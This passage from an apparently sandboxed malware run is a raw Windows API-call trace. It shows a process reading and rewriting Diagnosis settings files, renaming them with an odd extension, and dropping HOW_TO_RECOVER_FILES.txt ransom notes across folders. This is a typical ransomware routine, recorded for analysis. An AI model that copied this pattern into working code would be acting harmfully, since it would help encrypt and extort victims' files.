fInfoLevelId=0x0, lpFileInformation=0x35e43a8 | out: lpFileInformation=0x35e43a8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x698688ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x698688ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69d06e63, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0xba4e)) returned 1 [0101.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0101.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json", lpFilePart=0x0) returned 0x42 [0101.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0101.725] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0101.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0101.727] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk", lpFilePart=0x0) returned 0x45 [0101.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0101.727] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk"), fInfoLevelId=0x0, lpFileInformation=0x35e4b40 | out: lpFileInformation=0x35e4b40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x67f)) returned 1 [0101.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0101.727] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk", lpFilePart=0x0) returned 0x45 [0101.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0101.727] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0101.727] GetFileType (hFile=0x6e4) returned 0x1 [0101.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0101.727] GetFileType (hFile=0x6e4) returned 0x1 [0101.727] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x67f [0101.727] ReadFile (in: hFile=0x6e4, lpBuffer=0x35e5468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x35e5468*, lpNumberOfBytesRead=0x1f9edc08*=0x67f, lpOverlapped=0x0) returned 1 [0101.729] CloseHandle (hObject=0x6e4) returned 1 [0101.974] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk", lpFilePart=0x0) returned 0x45 [0101.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0101.974] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0101.975] GetFileType (hFile=0x7dc) returned 0x1 [0101.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0101.975] GetFileType (hFile=0x7dc) returned 0x1 [0101.975] WriteFile (in: hFile=0x7dc, lpBuffer=0x356cdf0*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x356cdf0*, lpNumberOfBytesWritten=0x1f9edb18*=0x680, lpOverlapped=0x0) returned 1 [0101.976] CloseHandle (hObject=0x7dc) returned 1 [0101.976] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk", lpFilePart=0x0) returned 0x45 [0101.976] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk.gоod", lpFilePart=0x0) returned 0x4a [0101.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0101.976] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x38feb5cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x680)) returned 1 [0101.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0101.976] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.app.json.bk.gоod" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.app.json.bk.gоod")) returned 1 [0101.977] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json", lpFilePart=0x0) returned 0x43 [0101.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0101.977] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.cert.json"), fInfoLevelId=0x0, lpFileInformation=0x356e080 | out: lpFileInformation=0x356e080*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7e8bf97d, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7e8bf97d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7ea85252, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x8e9)) returned 1 [0101.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0101.977] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json", lpFilePart=0x0) returned 0x43 [0101.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0101.977] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\utc.cert.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0101.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0101.979] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4e [0101.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0101.979] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0101.980] GetFileType (hFile=0x7dc) returned 0x1 [0101.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0101.980] GetFileType (hFile=0x7dc) returned 0x1 [0101.980] WriteFile (in: hFile=0x7dc, lpBuffer=0x3570b88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3570b88*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0101.981] CloseHandle (hObject=0x7dc) returned 1 [0101.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0101.982] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs", lpFilePart=0x0) returned 0x2a [0101.982] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0101.984] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.984] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d5cadbc, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger", cAlternateFileName="AUTOLO~1")) returned 1 [0101.984] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScenarioShutdownLogger", cAlternateFileName="SCENAR~1")) returned 1 [0101.984] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d6afbff, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 1 [0101.984] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d6afbff, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 0 [0101.984] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0101.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0101.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0101.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0101.985] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs", lpFilePart=0x0) returned 0x2a [0101.985] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0101.986] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x8e23c06e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.986] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d5cadbc, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger", cAlternateFileName="AUTOLO~1")) returned 1 [0101.986] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScenarioShutdownLogger", cAlternateFileName="SCENAR~1")) returned 1 [0101.987] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d6afbff, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2d6afbff, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 1 [0101.987] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0101.987] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0101.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0101.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0101.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0101.988] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger", lpFilePart=0x0) returned 0x35 [0101.988] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xcd8d859b, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0101.989] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2d5cadbc, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0xcd8d859b, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.989] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8d859b, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xac487de2, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1 [0101.989] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0101.989] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0101.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0101.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0101.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0101.989] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger", lpFilePart=0x0) returned 0x35 [0101.989] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xcd8d859b, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0101.990] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xcd8d859b, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.990] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8d859b, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xac487de2, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1 [0101.990] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8d859b, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xac487de2, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 0 [0101.990] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0101.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0101.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0101.990] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4e [0101.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0101.990] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\etllogs\\autologger\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0101.991] GetFileType (hFile=0x7dc) returned 0x1 [0101.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0101.991] GetFileType (hFile=0x7dc) returned 0x1 [0101.992] WriteFile (in: hFile=0x7dc, lpBuffer=0x3590710*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x3590710*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0101.993] CloseHandle (hObject=0x7dc) returned 1 [0101.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0101.993] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger", 